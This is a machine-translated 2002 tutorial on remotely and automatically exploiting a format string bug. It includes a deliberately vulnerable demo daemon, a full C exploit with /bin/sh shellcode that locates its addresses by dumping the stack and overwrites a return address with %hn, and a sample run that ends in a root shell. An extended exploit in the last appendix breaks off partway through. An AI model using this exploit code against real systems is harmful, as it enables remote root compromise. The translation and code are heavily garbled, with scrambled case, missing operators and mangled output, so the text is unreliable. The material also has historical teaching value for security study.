How to write Format String Exploit with remote automatic accuracy
Create time: 2002-04-28
Article attribute: translation
Article Source:
http://www.xfocus.org/
Article submission:
Alert7 (sztcww_at_sina.com)
How to write Format String Exploit with remote automatic accuracy
Original: << HOWTO Remotely and Automatical Exploit A Format Bug >>
By fr 閐閞 ic ynal
Translation finishing: alert7
Home:
http://www.xfocus.org/ http://www.whitecell.org/
Time: 2002-4-28
Test Environment Both Redhat Linux 6.2 and 7.2 Default installation
★★★ Foreword
I feel that this article is not bad, I have worked hard, I will translate it.
Buddha: I don't enter hell who is in hell :)
If you write format string exploit, it is written in accordance with the template of the article.
Remember to copy a copy of my mailbox and original mailbox :)
Translation is incorrect, please also ask the ax
Please email to:
Format string bug has been familiar with it, but writing such an Exploit or a bit difficult,
Especially write a remote automatic precise positioning format string exploit. Of course, some Format string
BUG is an Exploit that cannot be written for remote automatically, such as VUL appears in syslog (log_err, buf),
Such Vuln can only have violent guess.
Below we will show this short-range automatic accurate positioning Format String Exploit technology under Step By Step.
★★★ - [1. Context: The Vulnerable Server] -
We wrote a small service program as a demonstration. Request the login name and password, then echo its input.
The service program code is placed in Appendix 1.
Installing FMTD Server, configured as follows, we use 12345 Port
# /etc/inetd.conf
12345 Stream TCP NOWAIT ROOT / HOME / ALERT7 / FORMAT / FMTD
Or with xinetd:
# /etc/xinetd.conf
Service FMTD
{
Type = unlisted
User = raynal
Group = users
Socket_type = stream
Protocol = TCP
Wait = NO
Server = / TMP / FMTD
Port = 12345
}
My experimental environment is the default redhat 6.2, so the first one is selected.
Raise the inetd service. Enables FMTD services.
[root @ redhat] # netstat -nlp | GREP 12345
(Not All Processes Could Be Identified, Non-Owned Process Info
Will Not Be Shown, You Would Have to Be Root To See It All.)
TCP 0 0 0.0.0.0:12345 0.0.0.0:0:0345 0.0.0.0:0:0345 0.0.0.0:0:12345 0.0.0.0:0:434932 / inetd now, see how the service works:
[alert7 @ redhat] $ telnet 0 12345
Trying 0.0.0.0 ...
Connected to 0.
Escape Character is '^]'.
Login: Alert7
PASSWORD: 1
Helo
Helo
Helo world
Helo world
^]
Telnet> quit
Connection closed.
Look at the log file
[root @ redhat] # tail -5 / var / log / messages
Mar 3 22:03:14 Redhat FMTD [4948]: Login -> Read login [Alert7 ^ M] (8) BYTES
Mar 3 22:03:15 Redhat FMTD [4948]: PASSWD -> Read Passwd [Bff820] (3) BYTES
Mar 3 22:03:15 Redhat FMTD [4948]: VUL () -> TMP = 0xBffFFF418 BUF = 0xBffFFF018
Mar 3 22:03:23 Redhat FMTD [4948]: VUL () -> Error While Reading Input BUF [] (0)
Mar 3 22:03:23 Redhat inetd [4932]: PID 4948: EXIT STATUS 255
If we use Format String, Try Again
[alert7 @ redhat] $ telnet 0 12345
Trying 0.0.0.0 ...
Connected to 0.
Escape Character is '^]'.
Login: Alert7
PASSWORD: 1
% x% x% x% x
D 25207825 78252078 D782520
String "% x% x% x% x" will be made as Format String, so we will see D 25207825 78252078 D782520,
Obviously, the server has a Format String Vuln.
Here is the original words of the author, because I think he speaks a little problem, so there is no translation, and it is left to identify himself.
IN FACT, All Programs Acting Like That Are Not Vulnerable to A
Format Bug:
INT main (int Argc, char ** argv)
{
Char BUF [8];
Sprintf (BUF, Argv [1]);
}
Using% hn to expenet this leads to an overflow: the formatted
String is getting greater and greater, but Since no control is
Performed on Its Length, An Overflow Occurs.
And I think this program can also use Format String Bug to Exploit IT.
The only worry is that the formatted string is too large, it will encounter the bottom of the stack (0xC0000000) and stop the program,
This is more troublesome.
OFF topic>
Take a look at the function VUL ():
...
Snprintf (TMP, SIZEOF (TMP) -1, buf); ...
Because Buffer
The shell of Server permissions.
★★★ - [2. Requested Parameters] -
Like LOCAL FORMAT BUG, the following parameters need to be obtained:
* the offset to reach the beginning of the basenning of the buffer;
Offset starting to Buffer
* The address of a shellcode placed homewhere is the server's memory;
SHELLCODE address
* The address of the Vulnerable buffer;
Vuln buffer's address, that is, the address of the Input Buffer Format String
* a return address.
A return address to be overwritten, cover this address, our shellcode can get control
Exploit code is in Appendix 2. Here we explain how Exploit is designed.
These are some of the variables used in Exploit:
* SD: The socket between client (exploit) and the Vulnerable Server;
a socket with Client and Vuln Server
* BUF: a buffer to read / write some data;
Some data read and written
* Read_at: an address in the server's stack;
To read the address of the server stack
* FMT: Format string Sent to the server.
Format String sent to Server
★★ - [2.1 Guess Offset] -
This Offset is always needed in this type of Exploit, and its acquisition is the same as LOCAL Exploit:
[alert7 @ redhat] $ telnet 0 12345
Trying 0.0.0.0 ...
Connected to 0.
Escape Character is '^]'.
Login: Alert7
PASSWORD: 1
AAAA% 1 $ x
AAAAA
AAAA% 2 $ x
Aaaa41414141
Here, OFFSET is 2. This variable is also easy to get in use (obtained via GET_OFFSET ()).
It sent String "AAAA%
Use some systems that do not support $
[alert7 @ redhat] $ telnet 0 12345
Trying 0.0.0.0 ...
Connected to 0.
Escape Character is '^]'.
Login: Alert7
PASSWORD: 1
AAAA% P
AAAA0x8
AAAA% P% P
Aaaa0xa0x61616161
In fact, there is still an alignment problem, the author may not notice
Send to the server using this template
[A] [A] [A] AAAA%
[A] indicates that A option
If you send AAAAAA% 7 $ x
Server Answer Aaaaa41414141
Then you need to add a A aligned aligned = 1, offset is 7
In this demonstration program, aligned = 0, offset = 2
For example, Printf (BUF) is called like a function called -------------------------------------- ----------------------------
| PRINTF'S Returns EBP | PrintF's Returns EIP | BUF Address | X | X | BUF
-------------------------------------------------- ----------------
BUF_PTR
Here, Aligned is equal to 4- (BUF-BUF_PTR-4)% 4
IF (aligned == 4) aligned = 0;
OFFSET = (BUF-BUF_PTR-4) / 4
In fact, aligned, OFFSET can be used in manual calculations.
#define maxoffset 255
For (i = 1; i Snprintf (FMT, SIZEOF (FMT), "AAAA %%% D $ X", I); Write (SOCK, FMT, STRLEN (FMT)); MEMSET (BUF, 0, SIZEOF (BUF)); Sleep (1); Read (SOCK, BUF, SIZEOF (BUF)) IF (! STRCMP (BUF, "AAAA4141414141")) OFFSET = I; } ★★ - [2.2 Guessing the Address of the shellcode in the stack] - We must guess the address of Shellcode in the server. We can put shellcode in Vuln buffer or elsewhere. For example, in the password (pass) --- Some FTP Server is anonymous The Passwd did not check more. Our Server is working like this. ★ - - [MAKING A FORMAT BUG A Debugger] - - Our goal is to find the address in the server memory. So we will use Remote Debugger To achieve the purpose. Using Format String "% s", we will continue "% s" to the server, Exploit can DUMP The memory of the server process: Explloit, divided into two steps: 1. Get_addr_as_char (u_int addr, char * buf) function converts the add to char: * (U_INT *) BUF = AddR; 2. Format String after 4 bytes The format string then is sent to a remote server: GET_ADDR_AS_CHAR (READ_AT, FMT); Snprintf (FMT 4, SIZEOF (FMT) -4, "%%% D $ S", OFFSET; Write (SD, FMT, Strlen (FMT)); Client reads out data (in string form) in the A String is read in the address of In order to construct Out Buffer, Sprintf () starts from The front 4 bytes is the address to read: they are simple to copy to Output Buffer. Then Format String. Therefore, we must move 4 bytes: While ((Len = Read (SD, BUF, SIZEOF (BUF)))> 0) {[...] READ_AT = (LEN-4 1); [...] } ★ - - [What should we look for?] - - - Another problem is how to identify Shellcode in memory. If you just read all shellcode, Still can't be careful, you will miss it. Because buffer is ending with NULL, the string contains many NOPs. Therefore The shellcode operation can be divided into two steps. In order to avoid the above problems, if the byte of the read bytes is equal to the size of the buffer, Exploit will ignore the last SIZEOF (Shellcode) Byte size data. So, the READ operation is performed below: While ((Len = Read (SD, BUF, SIZEOF (BUF)))> 0) { [...] Read_at = len; IF (Len == Sizeof (BUF)) Read_at- = Strlen (shellcode); [...] } Note: This situation has not been tested ... so do not guarantee it to work properly; - / / This opportunity has a small probability, if such a situation, Exploit will fail. ★ - - Find the exact address of Shellcode in the remote process] - - Match Pattern in BUF: PTR = strstr (buf, pattern); It returns a pointer to Pattern in BUF. Therefore, the position of shellcode is: Addr_Shellcode = Read_AT (PTR-BUF); In fact, you should also subtract 4, the four bytes are the four bytes used to read the buffer of the read_at address. Addr_Shellcode = Read_at (PTR-BUF) - 4; In fact, it should be written so good to understand Addr_shellcode = read_at (PTR- (BUF 4)); ★ - - [shellcode: a summary] - - - Code a small paragraph, nothing to explain: While ((Len = Read (SD, BUF, SIZEOF (BUF)))> 0) { IF ((ptr = strstr (buf, shellcode))) { Addr_Shellcode = Read_at (PTR-BUF) - 4; Break; } READ_AT = (LEN-4 1); IF (len == sizeof (buf)) { Read_at- = Strlen (shellcode); } MEMSET (BUF, 0x0, SIZEOF (BUF)); GET_ADDR_AS_CHAR (READ_AT, FMT); Write (SD, FMT, Strlen (FMT)); } ★★ - [2.3 Guess return address] - Second, we should guess the return address. We need Stack in the remote process (in fact, what is the address, as long as Finally let Shellcode get the control) to find such an address, write the address of the shellcode to the return address. Our goal is to find the stack position stored by the accumulator% EIP. Complete two steps: 1. Find the address of the Input Buffer 2. Find the return address belonging to the Vuln Buffer function Why do we need to find the address of the buffer? Find (Saved EBP, Saved EIP) Pair is not a good idea to us. Because you don't have to clean up the stack in different call functions. So it will contain previous functions Saved EBP, Saved EIP Pair, even containing such pairs that are not used in the process. Therefore, the first step, let's guess the address of the Vuln Buffer. PAIRS in the address above the address (Saved EBP, SAVED EIP) is available. ★ - - [Guess Input Buffer Address] - - Input Buffer is easy to identify in remote process memory: it is a mirror we enter data. Server FMTD does not make any modified copy them. (If you answer in the server, INPUT BUFFER before answering I have made it, such as turning into capital, so it is more troublesome, you need to handle it) So, we can get a format string copy address: While ((Len = Read (SD, BUF, SIZEOF (BUF)))> 0) { IF ((PTR = strstr (buf, fmt))) { Addr_buffer = read_at (PTR-BUF) - 4; Break; } READ_AT = (LEN-4 1); MEMSET (BUF, 0x0, SIZEOF (BUF)); GET_ADDR_AS_CHAR (READ_AT, FMT); Write (SD, FMT, Strlen (FMT)); } ★ - - [Guess return address] - - Most Linux's Stack Top is 0xC0000000. But not all: Caldera's Stack Top is 0x80000000 (BTW, who can explain what?). There are also some STACK TOPs that play secure kernel patches. Not necessarily 0xC0000000. The location where the returning address is stored is about 0xBFFFXXXX, here Fixed number. The process of the process is loaded to the start of the 0x08048000. So, we must read the remote stack, find the following: 0x0804xxxx 0xBffFxxxx Top of the stack Since I386 is a small-ended sequence, this is equal to finding the following character sequence 0xFF 0xBF XX XX 0x04 0x08. As seen in the previous, we don't have to consider returning the top 4 bytes of String: i = 4; While (i IF (BUF [i] == (char) 0xff && buf [i 1] == (char) 0xBF && BUF [i 4] == (char) 0x04 && buf [i 5] == (char) 0x08) { AddR_ret = read_at i - 2 4 - 4; FPRINTF (stderr, "[RET Addr IS: 0x% x (% D)] / n", addr_ret, len) } i ; } IF (addr_ret! = -1) Break; Variable * Read_at: The Address We Just Read; * i: The offset in the string we are loops for the pattern (Wecan't Use strstr () Sinceur pattern HAS Wildcards - undefined BYTES XX); * -2: The first bytes We discover in the stack area FF BF, but BUT He Full Word (I.e. Saved% EBP) IS Written on 4 Bytes. The -2 Is for the 2 "Least Bytes" Placesd At the Beginning of The Word XX XX FF BF; * 4: this mode is due to the return address Which IS 4 Bytes Above the Saved% EBP; * -4: as you shop be used to now, the first 4 bytes Which Are A Copy of the ie read address. Do not translate above, Chinese meaning is unclear, or is E. ★★★ - [3. Exploitation] - At this point, we know all the required parameters, so that the Exploit should not be a difficult thing. We must write the address of the shellcode (addr_shellcode) on the returning address of the Vuln function (addR_ret). The FMTBuilder function is planted from [5] and constructs Format String to Server: Build_hn (buf, addr_ret, addr_shellcode, offset, 0); Write (SD, BUF, STRLEN (BUF)); Once the replacement is completed in the remote stack, we only wait for VUL () to return. Then we will order the Send "Quit" command The VUL () function returns. STRCPY (BUF, "Quit"); Write (SD, BUF, STRLEN (BUF)); Finally, the function interact () allows us to get a shell. [Alert7 @ redhat] $ ./expl-fmtd -a 0xbffed01 Using IP 127.0.0.1 Connected to 127.0.0.1 [buffer addr is: 0xBfffff018 (12)]]] BUF = (12) 18 F0 FF BF 18 F0 FF BF 25 32 24 73 [shell addr is: 0xBffff820 (57)]] BUF = (57) 18 F8 FF BF 48 FC FF BF 50 88 04 08 EB 1F 5E 89 76 08 31 C0 88 46 07 89 46 0C B0 0B 89 F3 8D 4E 08 8D 56 0C CD 80 31 DB 89 D8 40 CD 80 E8 DC FF FF FF 2F 62 69 6e 2f 73 68 [RET Addr IS: 0xBfffFf81c (57)] Building format string ... Sending the quit ... Bye Bye ... Linux redhat 2.2.14-5.0 # 1 Tue Mar 7 21:07:39 EST 2000 i686 Unknown UID = 0 (root) GID = 0 (root) groups = 0 (root) exit ★★★ - [4. Section] - As we see, automatic precise positioning is not very difficult. The FMTBuilmder library also provides some necessary tools (see refer to). Here is something to pay attention to, the address of the read_at can't be too low, too low will make the server to be caught because those addresses Is not accessible. If this is, you need to correct it. The solution is not good to return the address under Input Buffer. The return address is used is the return address of VUL. That is to say when VUL returns, the buffer has been detained 0, so the shellcode used by this Exploit is Put it in the passwd. I have always preferred override the * printf function itself return address. This is when * printf () is returned, Buffer also Did not be cleared, if shellcode is placed in the buffer, it is still available. What else - see appendix 3 ★ - [Greetings] - Denis Ducamp and Renaud Deraison for their Comments / Fixes. Thank Denis Ducamp and Renaud Deraison -------------------------------------------------- ---------------------- - [Appendix 1: The Server Side FMTD] - #include #include #include #include #include #include Void Respond (Char * fmt, ...); Int Vul (void) { CHAR TMP [1024]; Char BUF [1024]; INT LEN = 0; Syslog (log_err, "VUL () -> TMP = 0x% x Buf = 0x% x / n", TMP, BUF); While (1) { MEMSET (BUF, 0, SIZEOF (BUF)); MEMSET (TMP, 0, SIZEOF (TMP)); IF ((Len = Read (0, BUF, SIZEOF (BUF))) <= 0) { Syslog (log_err, "Vul () -> Error While Reading Input BUF [% S] (% D)", BUF, LEN); EXIT (-1); } / * Else Syslog (log_info, "vul () -> be% D Bytes", LEN) * / IF (! Strncmp (BUF, "Quit", 4)) { Respond ("BYE BYE ... / N"); Return 0; } Snprintf (TMP, SIZEOF (TMP) -1, Buf); Respond ("% s", TMP); } } Void Respond (Char * fmt, ...) { VA_LIST VA; Char BUF [1024]; INT LEN = 0; VA_Start (VA, FMT); VSnPrintf (buf, sizeof (buf), fmt, va); VA_END (VA); Len = Write (stdout_fileno, buf, strlen (buf)); / * syslog (log_info, "respond () -> write% D Bytes", LEN); * / } int main () { Struct SockAddr_in sin; INT I, LEN = SIZEOF (struct sockaddr_in); Char login [16]; Char Passwd [1024]; OpenLog ("FMTD", Log_ndlay | LOG_PID, LOG_LOCAL0); / * get login * / MEMSET (Login, 0, Sizeof (Login)); Respond ("Login:"); IF ((len = read (0, login, sizeof (login)) <= 0 { Syslog (log_err, "login -> error while reading login [% s] (% d)", Login, LEN); EXIT (-1); Else Syslog (log_info, "login -> read login [% s] (% d) bytes", Login, LEN) / * Get Passwd * / MEMSET (Passwd, 0, Sizeof (Passwd)); Respond ("Password:"); IF ((Len = Read (0, PASSWD, SIZEOF (PASSWD))) <= 0 { Syslog (log_err, "passwd -> error while reading passwd [% s] (% d)", Passwd, len); EXIT (-1); Else Syslog (log_info, "passwd -> read passwd [% x] (% d) BYTES", Passwd, LEN) / * let's run ... * / VUL (); Return 0; } -------------------------------------------------- ---------------------- - [Appendix 2: The Exploit Side Expl-FMTD] - #include #include #include #include #include #include #include #include #include CHAR VERBOSE = 0, Debug = 0; #define OCT (B0, B1, B2, B3, ADDR, STR) {/ B0 = (AddR >> 24) & 0xff; / B1 = (Addr >> 16) & 0xFF; / B2 = (Addr >> 8) & 0xFF; / B3 = (addr) & 0xff; / IF (b0 * b1 * b2 * b3 == 0) {/ Printf ("/ N% s Contains a Nul Byte. Leaving ... / n", str); / Exit (exit_failure); / } / } #define max_fmt_length 128 #define add 0x100 #define four sizeof (size_t) * 4 # Define Two sizeof (size_t) * 2 #define banner "uname -a; id" #define max_offset 255 Int Interact (int Sock) { FD_SET FDS; SSIZE_T SSIZE; Char buffer [1024]; Write (sock, banner "/ n", sizeof (banner); While (1) { FD_ZERO (& FDS); FD_SET (stdin_fileno, & fds); FD_SET (SOCK, & FDS); SELECT (SOCK 1, & FDS, NULL, NULL, NULL); IF (fd_isset (stdin_fileno, & fds)) { SSIZE = Read (stdin_fileno, buffer, sizeof (buffer); IF (SSIZE <0) { Return (-1); } IF (SSIZE == 0) { Return (0); } Write (Sock, Buffer, SSIZE); } IF (fd_isset (sock, & fds)) { SSIZE = Read (Sock, Buffer, Sizeof (Buffer); IF (SSIZE <0) { Return (-1); } IF (SSIZE == 0) { Return (0); } Write (stdout_fileno, buffer, sside); } } Return (-1); } U_long resolve (char * host) { Struct hostent * he; U_long return; IF (! (he = gethostbyname (host))) { "" gethostbyname () "); EXIT (-1); } Memcpy (& ret, he-> h_addr, sizeof (he-> h_addr)); Return Ret; } int Build_hn (Char * BUF, Unsigned Int Locaddr, unsigned int Retdr, unsigned int offset, unsigned int base, int alinged) { Unsigned char b0, b1, b2, b3; Unsigned int high, low; INT START = ((Base / (Add * Add)) 1) * Add * Add; Int Sz; INT I; / * OCT (B0, B1, B2, B3, LOCADDR, "[Locaddr]"); SZ = Snprintf (buf, two 1, / * 8 char to have the 2 addresses * / "% C% C% C" / * 1 for the ending / 0 * / "% C% C% C", B3, B2, B1, B0, B3 2, B2, B1, B0); / * Where is our shellcode? * / OCT (B0, B1, B2, B3, Retaddr, "[Retaddr]"); High = (retaddr & 0xfffff0000) >> 16; low = retraddr & 0x0000FFFF; For (i = 0; i STRCAT (BUF, "A"); Return Snprintf (Buf SZ ALINGED, MAX_FMT_LENGTH, "%%.% HDX %%% D $ n %%.% HDX %%% D $ HN", Low - Two Start - Base, OFFSET, HIGH - Low START, OFFSET 1); } Void get_addr_as_char (u_int addr, char * buf) { * (U_INT *) BUF = AddR; IF (! BUF [0]) BUF [0] ; IF (! BUF [1]) BUF [1] ; IF (! BUF [2]) BUF [2] ; IF (! BUF [3]) BUF [3] ; } INT GET_OFFSET (INT Sock, INT * ALINGED) { INT I, J, OFFSET = -1, len; Char FMT [128], BUF [128]; CHAR TMP1 [128], TMP2 [128]; For (j = 0; j <4; j ) { IF (j == 0) { STRCPY (TMP1, "AAAAA %%% D $ X"); STRCPY (TMP2, "AAAA41414141"); } IF (j == 1) { STRCPY (TMP1, "AAAAAAAAAA %%% D $ X"); STRCPY (TMP2, "AAAAA41414141"); } IF (j == 2) { STRCPY (TMP1, "AAAAAAAAAAAA %%% D $ X"); STRCPY (TMP2, "AAAAAAA41414141"); } IF (j == 3) { STRCPY (TMP1, "AAAAAAAAAAAAA %%% D $ X"); STRCPY (TMP2, "AAAAAAAA41414141"); } For (i = 1; i Snprintf (FMT, SIZEOF (FMT), TMP1, I); Write (SOCK, FMT, STRLEN (FMT)); MEMSET (BUF, 0, SIZEOF (BUF)); Sleep (1); IF ((Len = Read (Sock, BUF, SIZEOF (BUF))) <0) { FPrintf (stderr, "error while looking for the offset (% d) / n", len) Close (SOCK); EXIT (exit_failure); } IF (debug) FPRINTF (stderr, "Testing offset =% D fmt = [% s] buf = [% s] len =% d / n", I, FMT, BUF, LEN; IF (! strcmp (buf, tmp2)) { OFFSET = I; * alinged = j; Goto Out; } } // end for i } // end for j OUT: Return offset; } Char * shellcode = "/ Xeb / x1f / x5e / x89 / x76 / x08 / x31 / xc0 / x88 / x46 / x07 / x89 / x46 / x0c / xb0 / x0b" "/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / x31 / xdb / x89 / xd8 / x40 / xcd" "/ x80 / xe8 / xdc / xff / xff / xff / bin / sh"; INT main (int Argc, char ** argv) { Char * ip = "127.0.0.1", * PTR; Struct SockAddr_in SCK; U_INT READ_AT, ADDR_STACK = (U_INT) 0xBffe0001; / * Default Bottom * / U_INT Addr_Shellcode = -1, addr_buffer = -1, addr_ret = -1; CHAR BUF [1024], FMT [128], C; INT port = 12345, offset = -1; Int SD, LEN, I; Int aligned; While (C = Getopt (Argc, Argv, "DVI: P: A: o:"))! = -1) { Switch (c) { Case 'I': IP = OPTARG; Break; Case 'P': Port = atoi (OPTARG); Break; Case 'a': Addr_stack = Strtoul (Optarg, NULL, 16); Break; Case 'o': OFFSET = ATOI (OPTARG); Break; Case 'V': Verbose = 1; Break; Case 'd': Debug = 1; Break; DEFAULT: FPRINTF (stderr, "unknwon option% C (% D) / N", C, C); EXIT (exit_failure); } } / * init the sockaddr_in * / FPRINTF (stderr, "using ip% s / n", IP); Sck.sin_family = pf_inet; Sck.sin_addr.s_addr = resolve (ip); Sck.sin_port = HTONS (port); / * Open the socket * / IF (! (SD = Socket (PF_INET, SOCK_STREAM, 0))) { "" Socket () "); EXIT (exit_failure); } / * Connect to The Remote Server * / IF (Connect (SD, STRUCKADDR *) & SCK, SIZEOF (SCK)) <0) { "" Connect () "); EXIT (exit_failure); } FPrintf (stderr, "consNected to% s / n", IP); IF (debug) SLEEP (10); / * Send login * / MEMSET (BUF, 0x0, SIZEOF (BUF)); Len = Read (SD, BUF, SIZEOF (BUF)); IF (Strncmp (BUF, "Login", 5)) { FPRINTF (stderr, "error: no login asseked [% s] (% d) / n", buf, len); Close (SD); EXIT (exit_failure); } STRCPY (BUF, "TOTO"); Len = Write (SD, BUF, STRLEN (BUF)); IF (Verbose) fprintf (stderr, "login Sent [% s] (% D) / N", BUF, LEN) Sleep (1); / * Passwd: shellcode in the buffer and in the remote stack * / Len = Read (SD, BUF, SIZEOF (BUF)); IF (Strncmp (BUF, "Password", 8)) { FPRINTF (stderr, "error: no password asseked [% s] (% d) / n", buf, len) Close (SD); EXIT (exit_failure); } Write (SD, Shellcode, Strlen (shellcode); IF (Verbose) FPrintf (stderr, "passwd (shellcode) Sent (% D) / N", LEN); Sleep (1); / ************************************************** ********************* / / * Find offset and aligned, in general, this can be manually judged, but the program is judged * Nor * / IF (offset == -1) { IF ((Offset = Get_offset) == -1) { FPrintf (stderr, "error: can't find offset / n"); FPrintf (stderr, "please, use the -o arg to specify it./n); Close (SD); EXIT (exit_failure); } IF (Verbose) fprintf (stderr, "[found offset =% D] / n", offset); } / ************************************************** ********************* / / * Look for the address of the shellcode in the remote stack * / MEMSET (FMT, 0x0, SIZEOF (FMT)); Read_at = addr_stack; GET_ADDR_AS_CHAR (READ_AT, FMT); Snprintf (FMT 4, SIZEOF (FMT) -4, "%%% D $ S", OFFSET; / * * Construct the read_at% n $ S, prepare the contents of reading the read_at memory address * / Write (SD, FMT, Strlen (FMT)); Sleep (1); While ((Len = Read (SD, BUF, SIZEOF (BUF))> 0 && (addr_shellcode == -1 || addr_buffer == -1 || Addr_ret == -1)) { IF (debug) FPrintf (stderr, "read at 0x% x (% d) / n", read_at, len); / ********************* ********************************************************* / / / The following looks for the address in memory. / * The shellcode * / IF ((ptr = strstr (buf, shellcode))) { Addr_Shellcode = Read_at (PTR-BUF) - 4; FPRINTF (stderr, "[shell addr is: 0x% x (% d)] / n", addr_shellcode, len); FPRINTF (stderr, "buf = (% d) / n", len); For (i = 0; i FPRINTF (stderr, "%. 2x", (int) (buf [i] & 0xff); IF (I && I% 20 == 0) fprintf (stderr, "/ n"); } FPRINTF (stderr, "/ n"); } / ************************************************** ********************* / / ************************************************** ********************* / / / The following lookup Format String address / * The input buffer * / IF (addr_buffer == -1 && (PTR = strstr (buf, fmt))) { Addr_buffer = read_at (PTR-BUF) - 4; / * Addr_buffer is the address of format string * / FPRINTF (stderr, "[buffer addr is: 0x% x (% d)] / n", addr_buffer, len); FPRINTF (stderr, "buf = (% d) / n", len); For (i = 0; i FPRINTF (stderr, "%. 2x", (int) (buf [i] & 0xff); IF (I && I% 20 == 0) fprintf (stderr, "/ n"); } FPRINTF (stderr, "/ n / n"); } / ************************************************** ********************* / #if 0 IF (addr_buffer! = -1) AddR_ret = addr_buffer- (4 * offset 4) -Aligned - 4 * 2 - 4; #ENDIF / ************************************************** ********************* / / / The following is the address of the return address to be overwritten. / * Return Address * / IF (addr_buffer! = -1) { i = 4; While (i IF (BUF [I] == (char) 0xff && buf [i 1] == (char) 0xBF && buf [i 4] == (char) 0x04 && buf [i 5] == (char) 0x08 ) { AddR_ret = read_at i - 2 4 - 4; IF ((AddR_Ret & 0xFF) * & 0xFF) * ((AddR_Ret >> 16) & 0xFF) * ((AddR_Ret >> 24) & 0xFF) == 0) AddR_ret = -1; Else Fprintf (stderr, "[RET Addr IS: 0x% x (% D)] / n", addr_ret, len) } i ; } } / ************************************************** ********************* / READ_AT = (LEN-4 1); IF (len == sizeof (buf)) { FPRINTF (stderr, "warning: this has not been tsted !!! / n"); FPRINTF (stderr, "len =% d / nread_at = 0x% x", len, read_at); Read_at- = Strlen (shellcode); } GET_ADDR_AS_CHAR (READ_AT, FMT); Write (SD, FMT, Strlen (FMT)); } // End while / * Send the format string * / FPRINTF (stderr, "building format string ... / n"); MEMSET (BUF, 0, SIZEOF (BUF)); Build_hn (buf, addr_ret, addr_shellcode, offset, 0, aligned); Write (SD, BUF, STRLEN (BUF)); Sleep (1); READ (SD, BUF, SIZEOF (BUF)); / * Call the return while quiting * / FPRINTF (stderr, "sending the quit ... / n"); STRCPY (BUF, "Quit"); Write (SD, BUF, STRLEN (BUF)); Sleep (1); Interact (SD); Close (SD); Return 0; } -------------------------------------------------- ---------------------- - [Appendix 3: The experm model by alert7] - / ************************************************** ****************** / / * Changelog 1 If the input buffer is large enough, there is no other address that can be entered, and there is no time similar to PASS. We can put the shellcode directly in Input Buffer 2 The improved Exploit considers Aligned problem, the original author did not take into account Although in this example, we have not encountered, that is, in this example, aligned is 03 Improved Exploit needs to guess 3 parts One is offset and aligned The second is the address of the Input Buffer, that is, the address of the Format String The third is RET_LOC, the return address to be overwritten Reduce the process of guessing the address of Shellcode, because now put shellcode is here. Format String, directly and format string is put in Input Buffer So, with the format string address, there is a shellcode address. 4 The return address of the improved EXPLOIT modification is the return address of the printf itself, more accurate For the return address of overlay * Printf itself, please refer to the << Using the Format Skewer * Printf () Series Function itself Back Address >> That is, because the technology is used, our shellcode can be placed in the Input Buffer. 5 This exploit can handle correctly PRINTF (BUF) (Format String can be found in BUF) and Sprintf (buf1, buf2) (Format String can be found in BUF1 and BUF2) This two major categories * Printf functions * / #include #include #include #include #include #include #include #include #include CHAR VERBOSE = 0, Debug = 0; #define OCT (B0, B1, B2, B3, ADDR, STR) {/ B0 = (AddR >> 24) & 0xff; / B1 = (Addr >> 16) & 0xFF; / B2 = (Addr >> 8) & 0xFF; / B3 = (addr) & 0xff; / IF (b0 * b1 * b2 * b3 == 0) {/ Printf ("/ N% s Contains a Nul Byte. Leaving ... / n", str); / Exit (exit_failure); / } / } #define max_fmt_length 128 #define add 0x100 #DEFINE FOUR SizeOf (size_t) * 4 #define two sizeof (size_t) * 2 #define banner "uname -a; id" #define max_offset 255 Char * shellcode = "/ x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90" "/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B" "/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / x31 / xdb / x89 / xd8 / x40 / xcd" / x80 / xe8 / xdc / xff / xff / xff / bin / SH " Int Interact (int Sock) { FD_SET FDS; SSIZE_T SSIZE; Char buffer [1024]; Write (sock, banner "/ n", sizeof (banner); While (1) { FD_ZERO (& FDS); FD_SET (stdin_fileno, & fds); FD_SET (SOCK, & FDS); SELECT (SOCK 1, & FDS, NULL, NULL, NULL); IF (fd_isset (stdin_fileno, & fds)) { SSIZE = Read (stdin_fileno, buffer, sizeof (buffer); IF (SSIZE <0) { Return (-1); } IF (SSIZE == 0) { Return (0); } Write (Sock, Buffer, SSIZE); } IF (fd_isset (sock, & fds)) { SSIZE = Read (Sock, Buffer, Sizeof (Buffer); IF (SSIZE <0) { Return (-1); } IF (SSIZE == 0) { Return (0); } Write (stdout_fileno, buffer, sside); } } Return (-1); } U_long resolve (char * host) { Struct hostent * he; U_long return; IF (! (he = gethostbyname (host))) { "" gethostbyname () "); EXIT (-1); } Memcpy (& ret, he-> h_addr, sizeof (he-> h_addr)); Return Ret; } int Build_hn (Char * BUF, Unsigned Int Locaddr, unsigned int Retdr, unsigned int offset, unsigned int base, int alinged) { Unsigned char b0, b1, b2, b3; Unsigned int high, low; INT START = ((Base / (Add * Add)) 1) * Add * Add; Int Sz; INT I, J, Count = 0; BUF [0] = 0; For (i = 0; i STRCAT (BUF, "A"); / * OCT (B0, B1, B2, B3, LOCADDR, "[Locaddr]"); SZ = Snprintf (buf alinged, two 1, / * 8 char to have the 2 addresses * / "% C% C% C" / * 1 for the ending / 0 * / "% C% C% C", B3, B2, B1, B0, B3 2, B2, B1, B0); / * Where is our shellcode? * / OCT (B0, B1, B2, B3, Retaddr, "[Retaddr]"); High = (RetadDR & 0xFFFFFFF0000) >> 16; Low = Retaddr & 0x0000FFFF; Printf ("Low% D; TWO% D; start% d; base% D; offset% D; high% D / N / N", Low, Two, Start, Base, Offset, High; I = Snprintf (buf sz alinged, max_fmt_length, "%%.% HDX %%% D $ n %%.% HDX %%% D $ HN", Low - Two Start - Base, OFFSET, HIGH - Low START, OFFSET 1); For (j = 0; j { IF (BUF [J] == '%') COUNT ; FPRINTF (stderr, "%. 2x", (int) (buf [j] & 0xff); IF (J && J% 20 == 0) FPrintf (stderr, "/ n"); } FPRINTF (stderr, "/ n / n"); IF (count> 4) { Printf ("Too Many '%%' in Input Buffer / NMAY BE FAILED / N / N"); } STRCAT (BUF, Shellcode); Return I; } Void get_addr_as_char (u_int addr, char * buf) { * (U_INT *) BUF = AddR; IF (! BUF [0]) BUF [0] ; IF (! BUF [1]) BUF [1] ; IF (! BUF [2]) BUF [2] ; IF (! BUF [3]) BUF [3] ; } INT GET_OFFSET (INT Sock, INT * ALINGED) { INT I, J, OFFSET = -1, len; Char FMT [128], BUF [128]; 